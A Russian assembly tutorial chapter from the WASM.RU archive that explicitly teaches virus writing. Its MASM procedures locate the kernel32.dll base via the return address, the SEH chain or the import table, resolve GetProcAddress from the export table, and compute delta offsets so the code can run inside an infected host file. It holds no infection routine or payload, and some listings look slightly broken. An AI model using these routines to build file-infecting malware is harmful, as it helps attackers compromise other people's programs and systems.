От зеленого к красному: Глава 1: Память. База kernel32.dll. Адреса API-функций. Дельта-смещение

Дата публикации 22 апр 2005

От зеленого к красному: Глава 1: Память. База kernel32.dll. Адреса API-функций. Дельта-смещение — Архив WASM.RU

Адресное пространство процесса

База – это адрес чего-то, что лежит в адресном пространстве текущего процесса. Для каждой программы в Windows существует свое адресное пространство. Его объем 4Гб. Т.к. на самом деле такого количества памяти нет, и адреса памяти не соответствуют физическим, поэтому его называют виртуальным адресным пространством. Противоположное этому понятие называется – физическое адресное пространство. Откуда берется столько памяти, если на машине установлено, всего лишь 256 Мб? Операционная система использует дисковое пространство. Если какие-либо куски кода или данных не нужны, она сбрасывает их на диск. Шина адреса для 32х разрядного процессора 32-х разрядная, т.е. адрес может быть 32х разрядным. Диапазон значения адреса – 0..4 294 967 269d, а в шестнадцатеричной системе счисления 0..0FFFFFFFFh. Скоро, когда мы будет программировать для 64-х разрядных ОС размер виртуального адресного пространства увеличиться до 16 экзабайт. Этому пространству соответствует диапазон для указателей 0..0FFFFFFFFFFFFFFFFh. Каждый процесс работает в своем адресном пространстве. Это означает что если Вы создали программу и запустили ее, никакая другая программа не сможет читать или изменять данные в Вашей программе. Есть, конечно, много способов изменить такое положение вещей, но для этого надо использовать специальные механизмы. Адресное пространство процесса полностью не принадлежит ему. Более того, если мы обратимся не туда куда надо, то ОС завершит нашу программу сразу же. Почему так? Да потому, что виртуальное адресное пространство разбивается на разделы, которые имеют свое специфическое назначение. Раздел для данных и кода приложения имеет диапазон 00010000H..0BFFEFFFFH. Существует раздел для кода и данных режима ядра. Он находиться в диапазоне 0C0000000H..0FFFFFFFFH. Например, в отладчике режима ядра Вы можете посмотреть в зависимости от адреса, какой код трассируется – код пользовательского режима или режима ядра. Все что Вы должны из этого для себя почерпнуть это то, что все пространство памяти делиться на куски, которые имеют свое назначение. Также есть такие разделы – для выявления нулевых указателей, закрытый раздел. Я не привожу диапазоны, т.к. они обычно не нужны. Диапазоны, которые я привел, справедливы для ОС WindowsXP. Вообще, в ОС отличных от WindowsXPмогут быть другие диапазоны и другие наборы разделов, если Вас это интересует, то Вы можете узнать их точно на сайте производителя этих самых ОС, нашу горячо любимую корпорацию Micro$oft(http://www.microsoft.com). В базовом разделе PlatformSDKговорится, что нижние 2 Гб относятся к коду и данным пользовательского режима, а верхние к коду и данным режима ядра. Остальные детали о регионах могут меняться с каждым выпуском обновления.

Страницы и регионы

Для памяти в Windowsесть унифицированная единица, которой можно манипулировать напрямую – страница(page). Странице памяти можно присвоить определенный атрибут, т.е. можно ли считывать данные со страницы или записывать и т.д. Размер страницы зависит от типа процессора. Так для процессоров с архитектурой x86 размер страницы равен 4 Кб. Для 64-разрядного процессора размер страницы может отличаться от 32-разрядного. Чтобы получить размер страницы можно использовать функцию  GetSystemInfo.

Для того чтобы воспользоваться какой-либо частью виртуального адресного пространства мы должны сначала выделить в нем регион. Регион – эта область памяти (совокупность страниц) произвольного (но кратного) размера с одним и тем же атрибутом страниц. Операция выделения региона называется резервированием. При резервировании ОС выравнивает начало региона с учетом гранулярности выделения памяти(Allocation Granularity). Эта величина зависит от типа процессора, но для процессоров с архитектурой (x86,IA-64) она составляет 64 Кбайта. Чтобы получить значение гранулярности выделения памяти можно использовать функцию GetSystemInfo. Например, если исполняемый файл подгружает какие-нибудь DLL, то сначала он резервирует регион для этой DLLподходящего размера, а потом передает физическую память с диска на зарезервированный регион. Регион резервируется с учетом гранулярности, т.е. он будет кратен величине 64 Кб и значит, сама DLLбудет размещаться по адресам кратным 64 Кб, т.к. она размещается с самого начала региона. Т.к. единица памяти – страница, то размер региона кратен размеру страницы, т.е. регион выделяется страницами.

Библиотека kernel32.dll

Теперь поговорим о kernel32.dll. Это библиотека динамической компоновки(DinamicLinkLibrary) которая содержит основные системные подпрограммы(routines) для поддержки подсистемы Win32. Процедуры, которые мы используем в своих программах для Windows, так или иначе содержаться в kernel32.dll. Например, мы завершили выполнение своего кода и хотим корректно завершиться. Надо использовать функцию ExitProcess. Она содержится в kernel32.dll. Если мы хотим использовать функции из других DLL, то в kernel32.dllесть функция GetProcAddress, которая возвращает нам указатель на требуемую функцию. Функции GetProcAddressнадо указать описатель(handle) модуля и указатель на строку с именем функции. Описатель модуля можно получить с помощью функции GetModuleHandle, которой передается указатель на строку с именем функции. Вы спросите: «А зачем получать адреса функций, если я и так могу их вызывать из своих программ?». Дело в том, что проблем с адресами API-функций нет, если у Вас есть самостоятельный исполняемый модуль. При загрузке exe-файла ОС сама находит нужные адреса с помощью функции LoadLibrary. Обычно программисты об этом и не задумываются. Но представьте, что Вы пишете вирус, а он часто не является отдельным exe-файлом, а живет внутри файла-жертвы. Ему, для своего существования приходиться ;) вызывать разные API-функции, но их адреса он не знает. В одной и той же ОС, например WindowsXP, база kernel32.dll, т.е. ее (библиотеки) начало, может быть фиксирована и иметь, например, значение 7с800000h. Но в зависимости от ситуации или операционной системы этот базовый адрес может изменяться. Наша задача писать вирусы, которые могут функционировать на, как можно, большем числе платформ. Для этого нам надо сначала найти базу kernel32.dll, а потом получить адреса нужных нам API-функций из этой библиотеки. Вообще сначала нам нужна всего одна функция – GetProcAddress. Если мы используем функции из библиотек отличных от kernel32.dll, то также GetModuleHandle. Мы предполагаем, что процесс-жертва использует функции kernel32.dll. Если нужной нам библиотеки может не оказаться в адресном пространстве процесса-жертвы, то нам понадобиться и функция LoadLibrary.

Если мы используем процедуры из этой библиотеки kernel32.dll, то она должна быть спроецирована в адресное пространство процесса. Проецирование делается при создании объекта ядра «проекция файла». Точно также, при загрузке exe-файла или его запуске, загрузчик создает его проекцию в адресном пространстве созданного процесса. Потом он просматривает таблицу импорта и проецирует все dllили exeнужные приложению. База kernel32.dll- это адрес в памяти, где начинается спроецированная в память библиотека.

Получение базы kernel32.dll

Существует несколько способов получения базы kernel32.dll. Все они, так или иначе, опираются на какие-то тонкости ОС. Вы можете удивиться, но я в этой книге рассмотрю все известные мне способы. Все они будут представлены в виде ассемблерных процедур. (В терминологии языков программирования термины «функция» и «процедура» эквиваленты. Но язык Паскаль внес здесь свою путаницу. Я, естественно, буду руководствоваться традиционной и универсальной терминологией). Отдельные способы используют методы получения адреса в какой-нибудь процедуре из kernel32.dll. Суть метода в том, что мы каким-либо способом находим адрес произвольной процедуры в kernel32.dll. Каким способом, зависит от внутренней реализации ОС и ее особенностей. Другой способ заключается в проверке таблицы импорта.

Вы можете не разбираться даже в деталях реализации процедур и сразу же их использовать. Для подобного удобства около заголовка каждой из процедур будет описание входных и выходных данных. Ни одна из процедур не изменяет регистры за исключением выходного параметра. Например, если Вы вызываете процедуру ValidPE, и перед ней написано что выходной параметр помещается в регистр eax, то изменяется только регистр eax. Остальные регистры остаются с тем же содержимым что и до вызова процедуры. Признаюсь, я тут немного соврал. Не все регистры остаются с такими же значениями. Один регистр, все таки изменяется. Как Вы думаете какой? EIP. Также следите за вложенными процедурами.

Проверка PE-файла на правильность

Далее я привожу процедуру проверки PE-файла на правильность. Посмотрите на код. В исполняемом файле данные расположены,  как “MZ” и “PE”, но мы сравниваем их наоборот. Здесь вступает в силу принцип «младший байт по младшему адресу». Это означает, что в памяти байты данных расположены наоборот. Соль в том что “MZ” и “PE“ рассматриваются не как строки, а как слова в памяти. Строки – это массив байтов. Т.е. если мы берем слово, то адрес младшего байта является адресом всего слова. А младший байт это, в случае “PE”, естественно “E”. Специфика микропроцессора здесь в том, как он работает с памятью и как интерпретирует адреса. Задумайтесь в связи с этим об аппаратной поддержке типов данных. Это очень важно. Вы должны хорошо это усвоить.

Код (Text):
  1.  
  2. ;#########################################################################
  3. ;Процедура ValidPE
  4. ;Проверка правильности PE-файла
  5. ;Вход: В esi - адрес файла в памяти
  6. ;Выход: если файл правильный, то eax=1, иначе eax=0
  7. ;Заметки: обычно процедура используется с проецируемыми файлами в память
  8. ;#########################################################################
  9. ValidPE proc
  10.     push esi;сохраняем все регистры
  11.     pushf;сохраняем регистр флагов
  12.     .IF WORD ptr [esi]=="ZM"
  13.         assume esi:ptr IMAGE_DOS_HEADER;указание компилятору, что в esi указатель на IMAGE_DOS_HEADER
  14.         add esi,[esi].e_lfanew;переход к PE заголовку
  15.         .IF WORD PTR [esi]=="EP"
  16.             popf;восстанавливаем значения флагов
  17.             pop esi;восстанавливаем значения регистров
  18.             mov eax,TRUE
  19.             ret
  20.         .ENDIF
  21.     .ENDIF
  22.     popf;восстанавливаем значения флагов
  23.     pop esi;восстанавливаем значения регистров 
  24.     mov eax,FALSE
  25.     ret
  26. ValidPE endp
  27. ;#########################################################################
  28. ;Конец процедуры ValidPE
  29. ;#########################################################################

Получение базы

Допустим, что мы каким-либо способом получили адрес где-то в kernel32.dll. Способы получения такого адреса приведены в разделе “Способы получения адреса в памяти kernel32.dll”. Теперь наша задача получить базу по данному адресу. В нескольких способах мы сначала получаем адрес в памяти внутри kernel32.dll. Мы используем здесь гранулярность выделения памяти, т.е. сначала выравниваем значение адреса до 64 Кб, проверяем не база ли это уже kernel32.dll, если нет, то идем шагами назад по 64 Кб. Чтобы проверить, не база ли это, проверяем правильность формата PEфайла.

Теперь вопрос о том, сколько страниц проверять и когда останавливаться. Размер исполняемого образа kernel32.dllв WindowsXPSP2 около 1 Мб. Мы не знаем, где находиться сама процедура CreateProcess или UnhandledExceptionFilter. Но она точно содержится в секции кода PE-файла. Можно проанализировать PE-заголовок и выяснить начало секции кода и ее размер. Но это избыточные меры. В каждой ОС семейства Windows, как показывает проведенное тестирование, база находиться  без счетчика. Я тестировал свою программу на ОС Windows 95,98,ME,2000,XP.  Предлагаю Вам табличку с базами:

ОС

База kernel32.dll

Windows XP SP1

77E60000H

Windows XP SP2

7C000000H

Windows 2000 SP4

79430000H

Можно полагаться на результаты тестирования. Но я ввожу счетчик, лишь для того, чтобы сделать процедуру универсальной.

Вот исходный код процедуры для получения базы:

Код (Text):
  1.  
  2. ;#########################################################################
  3. ;Процедура GetBase                        
  4. ;Поиск базы исполняемого файла, если есть адрес где-то внутри него
  5. ;Вход: В esi - адрес внутри файла в памяти
  6. ;Выход:В eax - база PE-файла
  7. ;Заметки:обычно процедура используется с спроецируемыми файлами в память
  8. ;#########################################################################
  9. GetBase proc
  10. LOCAL Base:DWORD;чтобы не изменять контекст по договоренности
  11.     push esi;сохраняем все регистры, которые используются
  12.     push ecx
  13.  
  14.     pushf;сохраняем регистр флагов
  15.     and esi,0FFFF0000H;гранулярность выделения памяти
  16.     mov ecx,6;счетчик страниц
  17.  
  18. NextPage:;проверка очередной страницы
  19.     call ValidPE
  20.     .IF eax==1
  21.         mov Base,esi
  22.         popf
  23.         pop ecx
  24.         pop esi
  25.         mov eax,Base
  26.         ret
  27.     .ENDIF
  28.     sub esi,10000H
  29.     loop NextPage
  30.  
  31.     popf;восстанавливаем значения флагов
  32.     pop ecx
  33.     pop esi;восстанавливаем значения регистров
  34.     mov eax,FALSE;не нашли базу :(
  35.     ret
  36. GetBase endp
  37. ;#########################################################################
  38. ;Конец процедуры GetBase
  39. ;#########################################################################

Способы получения адреса в kernel32.dll

В этом разделе будут рассмотрены способы получения адреса в памяти внутри спроецированной DLL.

Способ 1: Адрес возврата

Посмотрите такой пример:

Код (Text):
  1.  
  2. .386
  3. option casemap:none
  4. .model flat,stdcall
  5. ;----------------------IncludeLib and Include-----------------------
  6. includelib f:\tools\masm32\lib\kernel32.lib
  7. include f:\tools\masm32\include\kernel32.inc
  8. ;--------------------End IncludeLib and Include---------------------
  9. .data
  10. db 0
  11. .code
  12. start:
  13.     pop eax;берем из стека значение и записываем его в eax
  14.     invoke ExitProcess,0
  15. end start

Что, по Вашему, поместиться в регистр eax? Как операционная система создает процесс? Правильно, с помощью функции CreateProcess. CreateProcessнаходиться где-то внутри kernel32.dll. Т.о. в eaxмы получаем адрес где-то внутри kernel32.dll. Когда запускается зараженный файл, то управление передается вирусу. Вот тут-то мы и сцапаем нужный адрес. Но это естественно надо cделать сразу при запуске программы, а то стек забьется какими-нибудь данными или адресами возврата. Вот код, который должен выполнить Ваш вирус для получения базы kernel32.dll с помощью данного способа:

Код (Text):
  1.  
  2. <p>start:;начало тела вируса</p>
  3.  
  4.     mov esi,[esp]
  5.     call GetBase;после вызова в eax - база kernel32.dll

Просто, не правда ли?

Способ 2: SEH

            SEH расшифровывается как Structured Exception Handling. По-русски – Структурная Обработка Исключения (СОИ). Вы узнаете о SEHвсе в соответствующей части данной книги. Здесь я только приведу способ, как получить адрес в kernel32.dll используя SEH. Кажется навороченно, да? Но на самом деле это достаточно просто. По адресу FS:0 находится структура, которая называется TIB(Thread Information Block). Перый DWORDTIB’а указывает на структуру которую называют ERR. Вот как она выглядит:

           

1ый dword

Указатель на следующую ERRструктуру

2ой dword

Указатель на обработчик исключния

Т.о. формируется связный список. Как узнать где заканчивается связный список? Если это последний элемент списка, то 1ый DWORD имеет значение -1. Операционная система при создании процесса сама устанавливает обработчик, чтобы, если что, выдать на экран MessageBoxс сообщением об ошибке. Если это последний элемент в цепочке структур ERR, то указатель на обработчик исключения будет находиться где-то в kernel32.dll. Важно где именно. Этот адрес не будет совпадать с функцией UnhandledExceptionFilter. Это можно проверить практически. На самом деле это стандартный обработчик ОС Windows. Вот процедура, которая демонстрирует эту технику:

Код (Text):
  1.  
  2. ;#########################################################################
  3. ;Процедура GetKernelSEH
  4. ;Поиск адрес внутри kernel32.dll
  5. ;Вход: ничего
  6. ;Выход:В eax - адрес внутри kernel32.dll
  7. ;#########################################################################
  8. GetKernelSEH proc
  9.     assume fs:flat;для масма обязательно. По умолчанию assume fs:err
  10.     mov eax,dword ptr fs:[0];в eax - указатель на структуру ERR
  11. NextElem:
  12.     cmp dword ptr [eax],-1;последний элемент
  13.     je Yes
  14.     mov eax,dword ptr [eax]
  15.     jmp NextElem
  16. Yes:;если пришли к последнему элементу
  17.     mov eax,[eax+4]
  18.     ret
  19. GetKernelSEH endp
  20. ;#########################################################################
  21. ;Конец процедуры GetKernelSEH
  22. ;#########################################################################

После получения адреса внутри kernel32.dll вызываем функцию GetBase, передавая ей соответствующие параметры для получения базы.

Таблица импорта

Этот способ отличается от приведенных выше. При загрузке PE-файла в память загрузчик заполняет адреса соответствующих функций из соответствующих DLL, которые нужны программе. Т.е. эти адреса хранятся внутри PE-файла, когда он загружен. Нам необходимо получить адрес любой функции из kernel32.dll

В таблице импорта есть два массива адресов. Один не изменяется. В нем содержаться сразу адреса импортируемых функций. Это применимо, в частности, для системных DLL. Второй массив заполняется при загрузке PE-файла. Чтобы найти базу kernel32.dllнадо найти таблицу импорта. В таблице импорта найти второй массив адресов. Массивы называются IMAGE_THUNK_DATA и описаны в WINNT.H. Первый массив называется OriginalFirstFunk, второй FirstThunk. Точнее так называются указатели на них, определенные в WINNT.H. Вам надо хорошо разбираться в импорте PE-файлов, чтобы понять это. Сначала мы должны найти начало зараженного файла. Потом переходим к PEзаголовку. Далее проходим до IMAGE_DATA_DIRECTORY. Переходим к элементу с индексом 1. Элемент с индексом 1 соответствует таблице импорта PE-файла. Сохраняем RVAи складываем его с базой нашего EXE. По найденному адресу находятся структуры IMAGE_IMPORT_DESCRIPTOR. В этой структуре есть элемент – указатель на имя импортируемой DLL. Проверяем не kernel32.dllли это, если нет, то идет к следующей структуре IMAGE_IMPORT_DESCRIPTOR. Если это kernel32.dll, то идем по указателю FirstThunk. Он указывает на таблицу адресов импорта или по-другому IMAGE_THUNK_DATA. Эта таблица переписывается загрузчиком PE-файла при загрузке. Вы можете подумать, что можно из таблицы импорта сразу взять адрес функции GetProcAddress. Но не факт что она будет там, так как сам EXE-файл может не импортировать функцию. Вот код который выуживает адрес одной из функций библиотеки kernel32.dll:

Код (Text):
  1.  
  2. ;#########################################################################
  3. ;Процедура GetKernelImport
  4. ;Поиск адреса внутри kernel32.dll
  5. ;Вход: ничего
  6. ;Выход:В eax - адрес внутри kernel32.dll
  7. ;#########################################################################
  8. GetKernelImport proc
  9.     push esi
  10.     push ebx
  11.     push edi
  12.  
  13.     call x
  14. x:
  15.     mov esi,dword ptr [esp];в esi - смещение данной команды
  16.     add esp,4;выравниваем стек
  17.     and esi,0FFFF0000h;используем гранулярность
  18. y:
  19.     call ValidPE;начало EXE-файла?
  20.     .IF eax==0;если нет, то ищем дальше
  21.         sub esi,010000h
  22.         jmp y
  23.     .ENDIF
  24.  
  25.     mov ebx,esi;в ebx теперь будем хранить базу
  26.     assume esi:ptr IMAGE_DOS_HEADER
  27.     add esi,[esi].e_lfanew;в esi - заголовок PE
  28.  
  29.     assume esi:ptr IMAGE_NT_HEADERS
  30.     lea esi,[esi].OptionalHeader;в esi - адрес опционального заголовка
  31.  
  32.     assume esi:ptr IMAGE_OPTIONAL_HEADER
  33.     lea esi,[esi].DataDirectory;в esi - адрес DataDirectory
  34.  
  35.     add esi,8;в esi - элемент 1 в DataDirectory
  36.     mov eax,ebx
  37.     add eax,dword ptr [esi];в eax - смещение таблицы импорта
  38.     mov esi,eax
  39.     assume esi:ptr IMAGE_IMPORT_DESCRIPTOR
  40. NextDLL:
  41.     mov edi,[esi].Name1
  42.     add edi,ebx
  43.     .IF DWORD PTR [edi]=="NREK";черт, мы могли бы написать так:
  44.     .IF TBYTE PTR [edi]=="LLD.LENREK", но нас сдерживает формат машинной
  45.               ; команды Intel в которой константа может быть не более 4 байт
  46.         ;нашли запись о kernel32!!!
  47.         mov edi,[esi].FirstThunk
  48.         add edi,ebx;в edi - VA массива IMAGE_THUNK_DATA    
  49.         mov eax,dword ptr [edi];в eax адрес какой-то из функций kernel32.dll
  50.         pop edi
  51.         pop ebx
  52.         pop esi
  53.         ret
  54.     .ENDIF
  55.     add esi,sizeof IMAGE_IMPORT_DESCRIPTOR
  56.     jmp NextDLL
  57. GetKernelImport endp
  58. ;#########################################################################
  59. ;Конец процедуры GetKernelImport
  60. ;#########################################################################

Здесь были рассмотрены наиболее популярные и известные способы. Если у Вас есть мысли по этому поводу, то присылайте их мне на электронную почту, обсудим вместе.

Поиск адресов API-функций

Поиск GetProcAddress

            Вот мы получили базу kernel32.dllв адресном пространстве текущего процесса. Теперь нам надо найти для начала функцию GetProcAddress. Cее помощью мы получим желаемые адреса API-функций, которые мы будем использовать. Чтобы получить адрес функции GetProcAddressбудет анализировать таблицу экспорта PE-файла.

            Для начала находим таблицу экспорта. Из нее получаем адрес массива AddressOfNames. Это массив двойных слов. Каждое двойное слово – это RVAна ASCIIZстроку с именем экспортируемой функции. Мы проходим по этому массиву и сравниваем имя «GetProcAddress» с именем экспортируемой функции. Номер слова в AddressOfNames будет индексом для массива AddressOfFunctions. Но нельзя забывать о элементе nBaseструктуры IMAGE_EXPORT_DIRECTORY. Это начальный номер экспорта для экспортируемых функций. После получения индекса функции мы должны нормализовать его значение относительно nBase. Полученный индекс используем для получения адреса функции из массива AddressOfFunctions.

Вот процедура которая все это делает:

Код (Text):
  1.  
  2. ;Процедура GetGetProcAddress
  3. ;Поиск адреса внутри kernel32.dll
  4. ;Вход: в стек кладется смещение имени "GetProcAddress"
  5. ;   ebx - база kernel32.dll
  6. ;Выход:В eax - адрес функции GetProcAddress
  7. ;#########################################################################
  8. GetGetProcAddress proc NameFunc:DWORD
  9.     pushad;сохраняем регистры
  10.     mov esi,ebx
  11.     assume esi:ptr IMAGE_DOS_HEADER
  12.     add esi,[esi].e_lfanew;в esi - заголовок PE
  13.  
  14.     assume esi:ptr IMAGE_NT_HEADERS
  15.     lea esi,[esi].OptionalHeader;в esi - адрес опционального заголовка
  16.  
  17.     assume esi:ptr IMAGE_OPTIONAL_HEADER
  18.     lea esi,[esi].DataDirectory;в esi - адрес DataDirectory
  19.     mov esi,dword ptr [esi]
  20.     add esi,ebx;в esi - структура IMAGE_EXPORT_DIRECTORY
  21.     push esi
  22.     assume esi:ptr IMAGE_EXPORT_DIRECTORY
  23.     mov esi,[esi].AddressOfNames
  24.     add esi,ebx;в esi - массив имен функций
  25.     xor edx,edx;в edx - храним индекс
  26.  
  27.     mov eax,esi
  28.     mov esi,dword ptr [esi]
  29. NextName:;поиск следующего имени функции
  30.     add esi,ebx
  31.     mov edi,NameFunc
  32.     mov ecx,14;количество байт в "GetProcAddress"
  33.     cld
  34.     repe cmpsb
  35.     .IF ecx==0;нашли имя
  36.         jmp GetAddr
  37.     .ENDIF
  38.     inc edx
  39.     add eax,4
  40.     mov esi,dword ptr [eax]
  41.     jmp NextName
  42. GetAddr:;если нашли "GetProcAddress"
  43.     pop esi
  44.     mov edi,esi
  45.     mov esi,[esi].AddressOfNameOrdinals
  46.     add esi,ebx;в esi - массив слов с индесками
  47.     mov dx,word ptr [esi][edx*2]
  48.     assume edi:ptr IMAGE_EXPORT_DIRECTORY
  49.     sub edx,[edi].nBase;вычитаем начальный ординал
  50.     inc edx;т.к. начальный ординал начинается с 1
  51.     mov esi,[edi].AddressOfFunctions
  52.     add esi,ebx;в esi - массив адресов функций
  53.     mov eax,dword ptr [esi][edx*4]
  54.     add eax,ebx;в eax - адрес функции GetProcAddress
  55.     mov NameFunc,eax
  56.     popad;восстанавливаем регистры
  57.     mov eax,NameFunc
  58.     ret
  59. GetGetProcAddress endp 
  60. ;#########################################################################
  61. ;Конец процедуры GetGetProcAddress
  62. ;#########################################################################

Получение остальных адресов функций

            После вызова функции GetGetProcAddressв регистре eax у нас есть адрес функции GetProcAddress. Передавая соответствующие параметры функции, получаем адреса других функций. Вызывать функцию можно как calleax.Взляните на код:

Код (Text):
  1.  
  2. .data
  3.     AddAtom1 db "AddAtomA",0
  4. start:
  5.     call GetKernelImport
  6.     mov esi,eax
  7.     call GetBase
  8.     mov esi,eax
  9.     push offset NameGetProcAddress
  10.     call GetGetProcAddress
  11.     push offset AddAtom1;указатель на строку
  12.     push esi;передаем базу kernel32.dll
  13.     call eax

После вызова calleaxв регистре eaxбудет лежать адрес функции AddAtomA. При поиске не забывайте, что одна и та же функция может присутствовать в 2-х версиях – ANSIи UNICODE. Функции принимающие ANSI-строки, у них в конце имени стоит буква «A». Функции принимающие UNICODE-строки, у них в конце имени стоит буква «W». В примере выше, функция AddAtomпринимает указатель на ANSI-строку. Как узнать, что функция существует в двух вариантах? Есть два способа. 1) Подумать :smile3: Если функция принимает какую-нибудь строку, то она точно в двух вариантах.2) В Win32.hlp– справочнике по API-функциям, в описании каждой функции можно посмотреть краткую информацию о функции (кнопка QuickInfo). Там есть строка Unicode. Если там что-нибудь, кроме None, то функция существует в двух вариантах, иначе - в одном. Описание функции GetProcAddress, я думаю, Вы посмотрите сами.

Нам может быть полезна функция LoadLibrary, которая загружает PE-файл в адресное пространство процесса. Если модуль уже загружен, то эта функция вернет нам базовый адрес данного модуля. Она будет нужна, если наш зверь требует функции, которые могут не быть в KERNEL32.DLL. Единственный параметр, который передается LoadLibrary, это адрес строки с именем требуемой DLLили EXE-файла. Теперь я опишу, как действуют большинство вирусов при получении адресов APIфункций.

Вирус хранит в своем теле имена API-функций чтобы потом найти их адреса. Он может также хранить контрольные суммы для строк, содержащих имена. Но я пока не буду затрагивать теорию контрольных сумм. Все что известно о хешах и контрольных суммах, стандартные алгоритмы и примеры использования,  Вы узнаете в соответствующей главе. А пока потерпите. Здесь мы рассмотрим пока только простые имена.

Где внутри тела вируса есть такие строки:

Код (Text):
  1.  
  2. imp:
  3.     db 'FindFirstFileA',0
  4.     db 'FindNextFileA',0
  5.     db 'FindClose',0
  6. db 'CreateFileA',0

Им соответствуют переменные вида:

Код (Text):
  1.  
  2. f:
  3. _FindFirstFileA dd ?
  4. _FindNextFileA dd ?
  5. _FindClose dd ?
  6. _CreateFileA dd ?

Важно, что между ними взаимнооднозначное соответствие (привет Соломатину О.Д.!). Порядок, тоже сохраняется. Этими свойствами мы и пользуемся при получении адресов. Можно, конечно, обойтись без циклов и соответсвий, но в ассемблере халявы нет, в вирмейкинге тем более.

Ниже приведен код процедуры, которая заполняет соответствующую область адресами нужных API-функций:

Код (Text):
  1.  
  2. ;#########################################################################
  3. ;Процедура GetAPIs
  4. ;Получение адресов всех требуемых API-функций
  5. ;Вход: В edi указатель на массив ASCIIZ строк имен функций
  6. ;   В ebx - смещение массива двойных слов которые заполняет функция
  7. ;   В esi - база kernel32.dll
  8. ;   В ecx - адрес функции GetProcAddress
  9. ;   В стек кладется количество функций
  10. ;Выход:заполняются соответствующие поля
  11. ;#########################################################################
  12. GetAPIs proc Number:DWORD
  13.     Pushad
  14.     mov eax,ecx
  15.     mov ecx,Number
  16. NextFunc:
  17.     push eax
  18.     push esi
  19.     push edi
  20.     push ebx
  21.     push ecx
  22.  
  23.     push edi;имя функции
  24.     push esi;база kernel32
  25.     call eax;вызов GetProcAddress
  26.    
  27.     pop ecx
  28.     pop ebx
  29.     pop edi
  30.     pop esi
  31.  
  32.     mov dword ptr [ebx],eax;помещаем адрес функции в переменную
  33.     pop eax
  34.     add ebx,4;следующая переменная
  35.     push ecx;сохраняем счетчик
  36.     mov ecx,30;для цепочечной команды
  37.     push eax
  38.     mov al,0;ищем 0
  39.     repne scasb
  40.     pop eax
  41.     pop ecx
  42.     loop NextFunc
  43.     popad
  44.     ret
  45. GetAPIs endp
  46. ;#########################################################################
  47. ;Конец процедуры GetAPIs
  48. ;#########################################################################

Далее я привожу пример программы которая демонстрирует использование данных методик. Также программа использует дельта смещение описанное выше. Программа просто создает файл с именем “c:\2.txt”, а потом завершается. Естественно, что адреса API функций мы получаем сами. Никаких библиотек импорта, как Вы поняли, не требуется. В файле Part1.incнаходятся требуемые функции, листинги которых приведены выше. Файл Part1.inc можно скачать отсюда.

Код (Text):
  1.  
  2. .386
  3. option casemap:none
  4. .model flat,stdcall
  5. include \tools\masm32\include\windows.inc
  6. includelib \tools\masm32\lib\kernel32.lib
  7. include \tools\masm32\include\kernel32.inc
  8. .data
  9.     db 0
  10. .code
  11.     invoke ExitProcess,0
  12. start:
  13.  
  14. call delta
  15. delta:
  16.     mov ebp,dword ptr [esp]
  17.     sub ebp,offset delta
  18.     lea ebx,[ebp+x]
  19.     jmp x
  20.     a db "c:\\2.txt",0
  21.     NameGetProcAddress db "GetProcAddress",0
  22. imp:
  23.     db 'CreateFileA',0
  24. address label DWORD
  25.     _CreateFileA dd ?
  26.     include part1.inc
  27. x: 
  28.     lea eax,[ebp+GetKernelSEH]
  29.     call eax
  30.     mov esi,eax
  31.     lea eax,[ebp+GetBase]
  32.     call eax
  33.  
  34.     mov esi,eax
  35.  
  36.     lea eax,[ebp+NameGetProcAddress]
  37.     push eax
  38.     lea eax,[ebp+GetGetProcAddress]
  39.     mov ebx,esi
  40.     call eax
  41.  
  42.     mov ecx,eax
  43.     lea edi,[ebp+imp]
  44.     lea ebx,[ebp+address]
  45.     push 1
  46.     lea eax,[ebp+GetAPIs]
  47.     call eax
  48.     mov eax,[ebp+_CreateFileA]
  49.     push 0
  50.     push FILE_ATTRIBUTE_NORMAL
  51.     push CREATE_NEW
  52.     push 0
  53.     push 0
  54.     push 0
  55.     lea ecx,[ebp+a]
  56.     push ecx
  57.     call eax   
  58. end start

Кстати у меня к Вам маленький вопрос уважаемый читатель. Что будет, если мы получим базу не с помощью функции callGetKernelSEH, а с помощью функции GetKernelImport? Ответ: программа глюканет. Вы заметили, что наша программа не пользуется никакими прототипами? Из-за этого у нее нет экспортируемых функций. Но, если Вы будете внедрять код, то этот метод отлично подойдет, т.к. практически все Windowsприложения импортируют функции из библиотеки kernel32.dll. Кроме такой, листинг которой, приведен выше. Не забудьте поменять атрибут секции кода, если будете компилировать программу.

Дельта смещение

Это последняя вещь, о которой я хотел Вам рассказать в той главе. Представьте, что Вы заразили файл. Теперь код вируса или его часть находиться в другом exe-файле. Например, возьмем переменную _CreateFileA. Она имеет определенное смещение. Смещение это фиксировано. И если код, приведенный выше запишется в другой exe-файл, то это смещение будет уже некорректным. Наша задача сделать так, чтобы смещение не зависело от местоположения кода. Для этого, нам надо узнать по какому смещению находиться наш код. И относительно этого смещения вычислить смещение нашей переменной. Это же относиться и к функциям нашего кода. Дельта смещение – это значение, показывающее на сколько байт сместилось положение нашего кода. Проще говоря дельта-смещение – это адрес где находиться код которые сейчас выполняется. Дельта-смещение вычисляют обычно вначале старта кода вируса.

Вот пример получения дельта-смещения:

Код (Text):
  1.  
  2. call delta
  3. delta:
  4.     pop ebp
  5.     sub ebp,offset delta

После выполнения этого кода в регистре ebpнаходиться дельта смещение. Вот еще несколько способов получения дельта смещения:

Код (Text):
  1.  
  2. d:  jmp c1
  3.     x dw 0
  4. c1: lea ebp,x
  5.     sub ebp,offset d
  6.     sub ebp,2;в EBP - дельта смещение

Еще один, по типу предыдущего:

Код (Text):
  1.  
  2. d:  jmp c1
  3.     x db "Hello!!! I'm Crazy Virus",0
  4. c1: lea ebp,x
  5.     sub ebp,offset d
  6.     sub ebp,2;в EBP - дельта смещение

Вот этот прием от BillyBelcebu:

Код (Text):
  1.  
  2. mov ebx,old_size_of_infected_file;используем размер файла, до инфецирования
  3. jmp ebx

И Еще:

Код (Text):
  1.  
  2. m:  lea ebx,m
  3.     sub ebx,offset m;в EBX - дельта смещение

            На самом деле существует бесконечное число способов получить дельта смещение. Это зависит только от Вашей фантазии и знания языка ассемблер.

Использование дельта смещения

Теперь, как пользоваться переменными или функциями. Пусть у нас есть две переменные Xи Y. Пусть дельта смещение находиться в регистре EBP, тогда обращение к переменным в Вашем коде будет выглядить следующим образом:

Код (Text):
  1.  
  2. ...
  3. mov eax,[EBP+offset X]
  4. xor eax,4
  5. mov [EBP+offset Y],eax
  6. ...
  7. jmp x;например, переход к нормальной точке входа
  8. X DB 123
  9. Y DW 0
  10. Т.к. адреса функций помещаются в переменные, то этот способ также можно использовать для вызова функций:
  11. ...
  12. push 0
  13. mov eax,[EBP+offset _ExitProcess]
  14. call eax
  15. ...
